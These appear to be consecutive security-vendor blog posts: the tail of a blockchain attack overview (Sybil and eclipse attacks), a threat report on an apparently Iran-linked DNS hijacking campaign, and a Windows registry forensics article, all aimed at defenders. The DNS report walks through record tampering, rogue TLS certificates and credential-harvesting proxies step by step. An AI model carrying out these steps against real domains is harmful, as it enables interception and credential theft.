As described by Microsoft researcher John Douceur, many P2P networks rely on redundancy to help lower the dependence on potential hostile nodes and reduce the risk of such attacks. However, this method of mitigation falls short if an attacker impersonates a substantial fraction of the network nodes, rendering redundancy efforts moot. The suggested solution to avoiding Sybil attacks in P2P networks, as presented in the research, is to implement a logically centralized authority that can perform node identity/verification. According to the research, without implementing such a solution, Sybil attacks will always remain a threat “except under extreme and unrealistic assumptions of resource parity and coordination among entities.”

Eclipse Attack

An eclipse attack involves an attacker or group controlling a significant number of nodes and then using those nodes to monopolize inbound and outbound connections to other victim nodes, effectively obscuring the victim node’s view of the blockchain and isolating it from other legitimate peers on the network. According to security researchers, aside from disrupting the network and filtering the victim node’s view of the blockchain, eclipse attacks can be useful in launching additional attacks once successfully executed. Some of these attacks include:

• Engineered Block Races: Block races occur in mining when two miners discover blocks at the same time. Generally, one block will be added to the chain, yielding mining rewards, while the other block is orphaned and ignored, yielding no mining reward. If an attacker can successfully eclipse attack miners, the attacker can engineer block races by hoarding blocks until a competing block has been found by non-eclipsed miners – effectively causing the eclipsed miners to waste efforts on orphaned blocks.
• Splitting Mining Power: An attacker could use eclipse attacks to effectively cordon off fractions of miners on a network, thereby eliminating their hashing power from the network. Removing hashing power from a network allows for easier 51% attacks to occur given enough miners are effectively segmented from the network to make a 51% attack profitable.

On Jan. 5, 2019, the cryptocurrency company Coinbase detected a possible eclipse + 51% attack effecting the Ethereum Classic (ETC) blockchain. The attack involved malicious nodes surrounding Coinbase nodes, presenting them with several deep chain reorganizations and multiple double spends – totaling 219,500 ETC (worth at the time of this reporting roughly $1.1 million USD).

While eclipse attacks are difficult to mitigate across large-scale P2P networks, some fixes can make them more difficult to accomplish. FireEye recommends implementing the following, where applicable, to help reduce the risk of eclipse attacks:

• Randomized node selection when establishing connections.
• Retain information on other nodes previously deemed honest, and implement preferential connection to those nodes prior to randomized connections (this increases the likelihood of connecting to at least one honest node).

How the Public and Private Sector Can Help Mitigate Risk

Public Sector Priorities

As blockchain technology continues to develop, and issues like scaling, security, and identity management are addressed, it is safe to assume the ecosystem we have today will not look like the ecosystem of tomorrow. Due to this, the public sector has generally maintained a hands-off approach to allow the space to mature and innovate before implementing firm regulations. However, in the future, there are likely to be certain key areas of regulation the public sector could focus on:

• Virtual Currencies (tax implications, asset classification)
• Data encryption
• Privacy
• Identity Management (KYC and FCC)

Private Sector’s Role

Because of the public sector’s wait-and-see approach to regulation, it could be argued that the private sector should have a more active role in securing the technology as it continues to mature. Private sector leaders in software and network development, hardware manufacturing, and cyber security all have the ability to weigh in on blockchain development as it progresses to ensure user security and privacy are top priorities. Universities and independent research groups should continue to study this emerging technology as it develops.

While no widely promoted and formal security standards exist for cryptocurrency networks at the time of this post, The Cryptocurrency Certification Consortium (C4) is actively developing the Cryptocurrency Security Standard (CCSS), a set of requirements and framework to complement existing information security standards as it relates to cryptocurrencies, including exchanges, web applications, and cryptocurrency storage solutions.

Cyber Security Community

From a cyber security perspective, we should learn from the vulnerabilities of TCP/IP development in the early days of the internet, which focused more on usability and scale than security and privacy – and insist that if blockchain technology is to help revolutionize the way business and trade is conducted that those two areas of focus (security and privacy) are held at the forefront of blockchain innovation and adoption. This can be achieved through certain self-imposed (and universally agreed upon) industry standards, including:

• Forced encryption of locally stored wallet files (instead of opt-in options).
• Code or policy rule that requires new wallet and key generation when user performs password changes.
• Continued development and security hardening of multi-sig wallet solutions.
• Emphasis on and clear guidelines for responsible bug disclosure.
• Continued security research and public reporting on security implications of both known and hypothetical vulnerabilities regarding blockchain development.
  • Analyzing protocols and implementations to determine what threats they face, and providing guidance on best practices.

Outlook

While blockchain technology offers the promise of enhanced security, it also presents its own challenges. Greater responsibility for security is often put into the hands of the individual user, and while some of the security challenges facing exchanges and online wallet providers can be addressed through existing best practices in cyber security, linking multiple users, software solutions, and integration into complex legacy financial systems creates several new cyber security paradigms.

To maintain strong network security, the roles and responsibilities of each type of participant in a blockchain network must be clearly defined and enforced, and the cyber security risks posed by each type of participant must be identified and managed. It is also critical that blockchain development teams understand the full range of potential threats that arise from interoperating with third parties and layering protocols and applications atop the base protocols.

The value and popularity of cryptocurrencies has grown significantly in the recent years, making these types of currencies a very attractive target for financially motivated actors. Many of the aforementioned examples of the various attack vectors can be of high utility in financially motivated operations. We expect cyber crime actors will continue to demonstrate high interest in targeting cryptocurrencies and their underlying network protocols for the foreseeable future.

Global DNS Hijacking Campaign: DNS Record Manipulation at Scale

Introduction

FireEye’s Mandiant Incident Response and Intelligence teams have identified a wave of DNS hijacking that has affected dozens of domains belonging to government, telecommunications and internet infrastructure entities across the Middle East and North Africa, Europe and North America. While we do not currently link this activity to any tracked group, initial research suggests the actor or actors responsible have a nexus to Iran. This campaign has targeted victims across the globe on an almost unprecedented scale, with a high degree of success. We have been tracking this activity for several months, mapping and understanding the innovative tactics, techniques and procedures (TTPs) deployed by the attacker. We have also worked closely with victims, security organizations, and law enforcement agencies where possible to reduce the impact of the attacks and/or prevent further compromises.

While this campaign employs some traditional tactics, it is differentiated from other Iranian activity we have seen by leveraging DNS hijacking at scale. The attacker uses this technique for their initial foothold, which can then be exploited in a variety of ways. In this blog post, we detail the three different ways we have seen DNS records be manipulated to enable victim compromises.

Initial Research Suggests Iranian Sponsorship

Attribution analysis for this activity is ongoing. While the DNS record manipulations described in this post are noteworthy and sophisticated, they may not be exclusive to a single threat actor as the activity spans disparate timeframes, infrastructure, and service providers.

• Multiple clusters of this activity have been active from January 2017 to January 2019.
• There are multiple, nonoverlapping clusters of actor-controlled domains and IPs used in this activity.
• A wide range of providers were chosen for encryption certificates and VPS hosts.

Preliminary technical evidence allows us to assess with moderate confidence that this activity is conducted by persons based in Iran and that the activity aligns with Iranian government interests.

• FireEye Intelligence identified access from Iranian IPs to machines used to intercept, record and forward network traffic. While geolocation of an IP address is a weak indicator, these IP addresses were previously observed during the response to an intrusion attributed to Iranian cyber espionage actors.
• The entities targeted by this group include Middle Eastern governments whose confidential information would be of interest to the Iranian government and have relatively little financial value.

Details

The following examples use victim[.]com to stand in for the victim domain, and private IP addresses to stand in for the actor controlled IP addresses.

Technique 1 – DNS A Records

The first method exploited by the attacker is altering DNS A Records, as seen in Figure 1.

Figure 1: DNS A Record

1. The attacker logs into PXY1, a Proxy box used to conduct non-attributed browsing and as a jumpbox to other infrastructure.
2. The attacker logs into the DNS provider’s administration panel, utilising previously compromised credentials.
3. The A record (e.g. mail[.]victim[.]com) is currently pointing to 192.168.100.100.
4. The attacker changes the A record and points it to 10.20.30.40 (OP1).
5. The attacker logs in from PXY1 to OP1.
   • A proxy is implemented to listen on all open ports, mirroring mail[.]victim[.]com.
   • A load balancer points to 192.168.100.100 [mail[.]victim[.]com] to pass through user traffic.
6. certbot is used to create a Let’s Encrypt Certificate for mail[.]victim[.]com
   • We have observed multiple Domain Control Validation providers being utilised as part of this campaign.
7. A user now visits mail[.]victim[.]com and is directed to OP1. The Let’s Encrypt Certificate allows the browsers to establish a connection without any certificate errors as Let’s Encrypt Authority X3 is trusted. The connection is forwarded to the load balancer which establishes the connection with the real mail[.]victim[.]com. The user is not aware of any changes and may only notice a slight delay.
8. The username, password and domain credentials are harvested and stored.

Technique 2 – DNS NS Records

The second method exploited by the attacker involved altering DNS NS Records, as seen in Figure 2.

Figure 2: DNS NS Record

1. The attacker again logs into PXY1.
2. This time, however, the attacker exploits a previously compromised registrar or ccTLD.
3. The nameserver record ns1[.]victim[.]com is currently set to 192.168.100.200. The attacker changes the NS record and points it to ns1[.]baddomain[.]com [10.1.2.3]. That nameserver will respond with the IP 10.20.30.40 (OP1) when mail[.]victim[.]com is requested, but with the original IP 192.168.100.100 if it is www[.]victim[.]com.
4. The attacker logs in from PXY1 to OP1.
   • A proxy is implemented to listen on all open ports, mirroring mail[.]victim[.]com.
   • A load balancer points to 192.168.100.100 [mail[.]victim[.]com] to pass through user traffic.
5. certbot is used to create a Let’s Encrypt Certificate for mail[.]victim[.]com.
   • We have observed multiple Domain Control Validation providers being utilised during this campaign.
6. A user visits mail[.]victim[.]com and is directed to OP1. The Let’s Encrypt Certificate allows browsers to establish a connection without any certificate errors as Let’s Encrypt Authority X3 is trusted. The connection is forwarded to the load balancer which establishes the connection with the real mail[.]victim[.]com. The user is not aware of any changes and may only notice a slight delay.
7. The username, password and domain credentials are harvested and stored.

Technique 3 – DNS Redirector

The attacker has also been observed using a third technique in conjunction with either Figure 1 or Figure 2 above. This involves a DNS Redirector, as seen in Figure 3.

Figure 3: DNS Operational box

The DNS Redirector is an attacker operations box which responds to DNS requests.

1. A DNS request for mail[.]victim[.]com is sent to OP2 (based on previously altered A Record or NS Record).
2. If the domain is part of victim[.]com zone, OP2 responds with an attacker-controlled IP address, and the user is re-directed to the attacker-controlled infrastructure.
3. If the domain is not part of the victim.com zone (e.g. google[.]com), OP2 makes a DNS request to a legitimate DNS to get the IP address and the legitimate IP address is returned to the user.

Targets

A large number of organizations have been affected by this pattern of DNS record manipulation and fraudulent SSL certificates. They include telecoms and ISP providers, internet infrastructure providers, government and sensitive commercial entities.

Root Cause Still Under Investigation

It is difficult to identify a single intrusion vector for each record change, and it is possible that the actor, or actors are using multiple techniques to gain an initial foothold into each of the targets described above. FireEye intelligence customers have received previous reports describing sophisticated phishing attacks used by one actor that also conducts DNS record manipulation. Additionally, while the precise mechanism by which the DNS records were changed is unknown, we believe that at least some records were changed by compromising a victim’s domain registrar account.

Prevention Tactics

This type of attack is difficult to defend against, because valuable information can be stolen, even if an attacker is never able to get direct access to your organization’s network. Some steps harden your organization are below:

1. Implement multi-factor authentication on your domain’s administration portal.
2. Validate A and NS record changes.
3. Search for SSL certificates related to your domain and revoke any malicious certificates.
4. Validate the source IPs in OWA/Exchange logs.
5. Conduct an internal investigation to assess if attackers gained access to your environment.

Conclusion

This DNS hijacking, and the scale at which it has been exploited, showcases the continuing evolution in tactics from Iran-based actors. This is an overview of one set of TTPs that we recently observed affecting multiple entities. We are highlighting it now so that potential targets can take appropriate defensive action.

Digging Up the Past: Windows Registry Forensics Revisited

Introduction

FireEye consultants frequently utilize Windows registry data when performing forensic analysis of computer networks as part of incident response and compromise assessment missions. This can be useful to discover malicious activity and to determine what data may have been stolen from a network. Many different types of data are present in the registry that can provide evidence of program execution, application settings, malware persistence, and other valuable artifacts.

Performing forensic analysis of past attacks can be particularly challenging. Advanced persistent threat actors will frequently utilize anti-forensic techniques to hide their tracks and make the jobs of incident responders more difficult. To provide our consultants with the best possible tools we revisited our existing registry forensic techniques and identified new ways to recover historical and deleted registry data. Our analysis focused on the following known sources of historical registry data:

• Registry transaction logs (.LOG)
• Transactional registry transaction logs (.TxR)
• Deleted entries in registry hives
• Backup system hives (REGBACK)
• Hives backed up with System Restore

Windows Registry Format

The Windows registry is stored in a collection of hive files. Hives are binary files containing a simple filesystem with a set of cells used to store keys, values, data, and related metadata. Registry hives are read and written in 4KB pages (also called bins).

For a detailed description of the Windows registry hive format, see this research paper and this GitHub page.

Registry Transaction Logs (.LOG)

To maximize registry reliability, Windows can use transaction logs when performing writes to registry files. The logs act as journals that store data being written to the registry before it is written to hive files. Transaction logs are used when registry hives cannot directly be written due to locking or corruption.

Transaction logs are written to files in the same directory as their corresponding registry hives. They use the same filename as the hive with a .LOG extension. Windows may use multiple logs in which case .LOG1 and .LOG2 extensions will be used.

For more details about the transaction log format, see this GitHub page.

Registry transaction logs were first introduced in Windows 2000. In the original transaction log format data is always written at the start of the transaction log. A bitmap is used to indicate what pages are present in the log, and pages follow in order. Because the start of the file is frequently overwritten, it is very difficult to recover old data from these logs. Since different amounts of data will be written to the transaction log on each use, it is possible for old pages to remain in the file across multiple uses. However, the location of each page will have to be inferred by searching for similar pages in the current hive, and the probability of consistent data recovery is very small.

A new registry transaction log format was introduced with Windows 8.1. Although the new logs are used in the same fashion, they have a different format. The new logs work like a ring buffer where the oldest data in the log is overwritten by new data. Each entry in the new log format includes a sequence number as well as registry offset making it easy to determine the order of writes and where the pages were written. Because of the changed log format, data is overwritten much less frequently, and old transactions can often be recovered from these log files.

The amount of data that can be recovered depends on registry activity. A sampling of transaction logs from real world systems showed a range of recoverable data from a few days to a few weeks. Real world recoverability can vary considerably. Registry-heavy operations, such as Windows Update, can significantly reduce the recoverable range.

Although the new log format contains more recoverable information, turning a set of registry pages into useful data is quite tricky. First, it requires keeping track of all pages in the registry and determining what might have changed in a particular write. It also requires determining if that change resulted in something that is not present in later revisions of the hive to assess whether or not it contains unique data.

Our current approach for processing registry transaction files uses the following algorithm:

1. Sort all writes by sequence number descending so that we process the most recent writes first.
2. Perform allocated and unallocated cell parsing to find allocated and deleted entries.
3. Compare entries against the original hive. Any entries that are not present are marked as deleted and logged.

Transaction Log Example

In this example we create a registry value under the Run key that starts malware.exe when the user logs in to the system.

Figure 1: A malicious actor creates a value in the Run key

At a later point in time the malware is removed from the system. The registry value is overwritten before being deleted.

Figure 2: The malicious value is overwritten and deleted

Although the deleted value still exists in the hive, existing forensic tools will not be able to recover the original data because it was overwritten.

Figure 3: The overwritten value is present in the registry hive

However, in this case the data is still present in the transaction log and can be recovered.

Figure 4: The transaction log contains the original value

Transactional Registry Transaction Logs (.TxR)

In addition to the transaction log journal there are also logs used by the transactional registry subsystem. Applications can utilize the transactional registry to perform compound registry operations atomically. This is most commonly used by application installers as it simplifies failed operation rollback.

Transactional registry logs use the Common Log File Sytstem (CLFS) format. The logs are stored to files of the form <hive><GUID>.TxR.<number>.regtrans-ms. For user hives these files are stored in the same directory as the hive and are cleared on user logout. However, for system hives logs are stored in %SystemRoot%System32configTxR, and the logs are not automatically cleared. As a result, it is typically possible to recover historical data from system transactional logs.

The format of transactional logs is not well understood or documented. Microsoft has provided a general overview of CLFS logs and API.

With some experimentation we were able to determine the basic record format. We can identify records for registry key creation and deletion as well as registry value writes and deletes. The relevant key path, value name, data type, and data are present within log entries. See the appendix for transaction log record format details.

Although most data present in registry transaction logs is not particularly valuable for intrusion investigations, there are some cases where the data can prove useful. In particular, we found that scheduled task creation and deletion use registry transactions. By parsing registry transaction logs we were able to find evidence of attacker created scheduled tasks on live systems. This data was not available in any other location.

The task scheduler has been observed using transactional registry operations on Windows Vista through Windows 8.1; the task scheduler on Windows 10 does not exhibit this behavior. It is not known why Windows 10 behaves differently.

Transactional Registry Example

In this example we create a scheduled task. The scheduled task periodically runs malware.

Figure 5: Creating a scheduled task to run malware

Information about the scheduled task is stored to the registry.

Figure 6: A registry entry created by the task scheduler

Because the scheduled task was written to the registry using transacted registry operations, a copy of the data is available in the transactional registry transaction log. The data can remain in the log well after the scheduled task has been removed from the system.

Figure 7: The malicious scheduled task in the TxR log

Deleted Entry Recovery

In addition to transaction logs, we also examined methods for the recovery of deleted entries from registry hive files. We started with an in-depth analysis of some common techniques used by forensic tools today in the hopes of identifying a more accurate approach.

Deleted entry recovery requires parsing registry cells in hive files. This is relatively straightforward. FireEye has a number of tools that can read raw registry hive files and parse relevant keys, values, and data from cells. Recovering deleted data is more complex because some information is lost when elements are deleted. A more sophisticated approach is required to deal with the resulting ambiguity.

When parsing cells there is only one common field: the cell size. Some cell types contain magic number identifiers, which can help determine their type. However, other cell types, such as data and value lists, do not have identifiers; their types must be inferred by following references from other cells. Additionally, the size of data within a cell can differ from the cell size. Depending on the cell type it may be necessary to leverage information from referencing cells to determine the data size.

When a registry element is deleted its cells are marked as unallocated. Because the cells are not immediately overwritten, deleted elements can often be recovered from registry hives. However, unallocated cells may be coalesced with adjacent unallocated cells to maximize traversal efficiency. This makes deleted cell recovery more complex because cell sizes may be modified. As a result, original cell boundaries are not well defined and must be determined implicitly by examining cell contents.

Existing Approaches for Recovering Deleted Entries

A review of public literature and source code revealed existing methods for recovery of deleted elements from registry hive files. Variations of the following algorithm were commonly found:

1. Search through all unallocated cells looking for deleted key cells.
2. Find referenced deleted values from deleted keys.
3. Search through all remaining unallocated cells looking for unreferenced deleted value cells.
4. Find referenced data cells from all deleted values.

We implemented a similar algorithm to experiment with its efficacy. Although this simple algorithm was able to recover many deleted registry elements, it had a number of significant shortcomings. One major issue was the inability to validate any references from deleted cells. Because referenced cells may have already been overwritten or reused multiple times, our program frequently made mistakes in identifying values and data resulting in false positives and invalid output.

We also compared program output to popular registry forensic tools. Although our program produced much of the same output, it was evident that existing registry forensic tools were able to recover more data. In particular, existing tools were able to recover deleted elements from slack space of allocated cells that had not yet been overwritten.

Additionally, we found that orphaned allocated cells are also considered deleted. It is not known how unreferenced allocated cells could exist in a registry hive as all related cells should be unallocated simultaneously on deletion. It is possible that certain types of failures could result in deleted cells not becoming unallocated properly.

Through experimentation we discovered that existing registry tools were able to perform better validation resulting in fewer false positives. However, we also identified many cases where existing tools made incorrect deleted value associations and output invalid data. This likely occurs when cells are reused multiple times resulting in references that could appear valid if not carefully scrutinized.

A New Approach for Recovering Deleted Entries

Given the potential for improving our algorithm, we undertook a major redesign to recover deleted registry elements with maximum accuracy and efficiency. After many rounds of experimentation and refinement we ended up with a new algorithm that can accurately recover deleted registry elements while maximizing performance. This was achieved by discovering and keeping track of all cells in registry hives to perform better validation, by processing cell slack space, and by discovering orphaned keys and values. Testing results closely matched existing registry forensics tools but with better validation and fewer false positives.

The following is a summary of the improved algorithm:

1. Perform basic parsing for all allocated and unallocated cells. Determine cell type and data size where possible.
2. Enumerate all allocated cells and do the following:
   • For allocated keys find referenced value lists, class names, and security records. Populate data size of referenced cells. Validate key ancestors to determine if the key has been orphaned.
   • For allocated values find referenced data and populate data size.
3. Define all allocated cell slack space as unallocated cells.
4. Enumerate allocated keys and attempt to find deleted values present in the values list. Also attempt to find old deleted value references in the value list slack space.
5. Enumerate unallocated cells and attempt to find deleted key cells.
6. Enumerate unallocated keys and attempt to define referenced class names, security records, and values.
7. Enumerate unallocated cells and attempt to find unreferenced deleted value cells.
8. Enumerate unallocated values and attempt to find referenced data cells.

Deleted Recovery Example

The following example demonstrates how our deleted entry recovery algorithm can perform more accurate data recovery and avoid false positives. Figure 8 shows an example of a data recovery error by a popular registry forensics tool:

Figure 8: Incorrectly recovered registry data

Note that the ProviderName recovered from this key was jumbled because it referred to a location that had been overwritten. When our deleted registry recovery tool is run over the same hive, it recognizes that the data has been overwritten and does not output garbled text. The data_present field in Figure 9 with a value of 0 indicates that the deleted data could not be recovered from the hive.

Key: CMI-CreateHive{2A7FB991-7BBE-4F9D-B91E-7CB51D4737F5}      ControlSet002ControlClass{4D36E972-E325-11CE-BFC1-08002BE10318}019 Value: ProviderName  Type: REG_SZ  (value_offset=0x137FE40) (data_size=20)      (data_present=0) (data_offset=0x10EAF68) (deleted_type=UNALLOCATED)

Figure 9: Properly validated registry data

Registry Backups

Windows includes a simple mechanism to backup system registry hives periodically. The hives are backed up with a scheduled task called RegIdleBackup, which is scheduled to run every 10 days by default. Backed up hives are stored to %SystemRoot%System32configRegBack. Only the most recent backup is stored in this location. This can be useful for investigating recent activity on a system.

The RegIdleBackup feature was first included with Windows Vista. It is present in all versions of Windows since then, but it does not run by default on Windows 10 systems, and even when it is manually run no backups are created. It is not known why RegIdleBackup was removed from Windows 10.

In addition to RegBack, registry data is backed up with System Restore. By default, System Restore snapshots are created whenever software is installed or uninstalled, including Windows Updates. As a result, System Restore snapshots are usually created on at least a monthly basis if not more frequently. Although some advanced persistent threat groups have been known to manipulate System Restore snapshots, evidence of historical attacker activity can usually be found if a snapshot was taken at a time when the attacker was active. System Restore snapshots contain all registry hives including system and user hives.

Wikipedia has some good information about System Restore.

Processing hives in System Restore snapshots can be challenging as there may be many snapshots present on a system resulting in a large amount of data to be processed, and often there will only be minor changes in hives between snapshots. One strategy to handle the large number of snapshots is to build a structure representing the cells of the registry hive, then repeat the process for each snapshot. Anything not in the previous structure can be considered deleted and logged appropriately.

Conclusion

The registry can provide a wealth of data for a forensic investigator. With numerous sources of deleted and historical data, a more complete picture of attacker activity can be assembled during an investigation. As attackers continue to gain sophistication and improve their tradecraft, investigators will have to adapt to discover and defend against them.

Appendix – Transactional Registry Transaction Log (.TxR) Record Format

Registry transaction logs contain records with the following format:

Offset	Field	Size
0	Magic number (0x280000)	4
…
12	Record size	4
16	Record type (1)	4
20	Registry operation type	2
…
40	Key path size	2
42	Key path size repeated	2

The magic number is always 0x280000.
The record size includes the header.
The record type is always 1.

Operation type 1 is key creation.
Operation type 2 is key deletion.
Operation types 3-8 are value write or delete. It is not known what the different types signify.

The key path size is at offset 40 and repeated at offset 42. This is present for all registry operation types.

For registry key write and delete operations, the key path is at offset 72.

For registry value write and delete operations, the following data is present:

Offset	Field	Size
56	Value name size	2
58	Value name size repeated	2
…
72	Data type	4
76	Data size	4

The data for value records starts at offset 88. It contains the key path followed by the value name optionally followed by data. If data size is nonzero, the record is a value write operation; otherwise it is a value delete operation.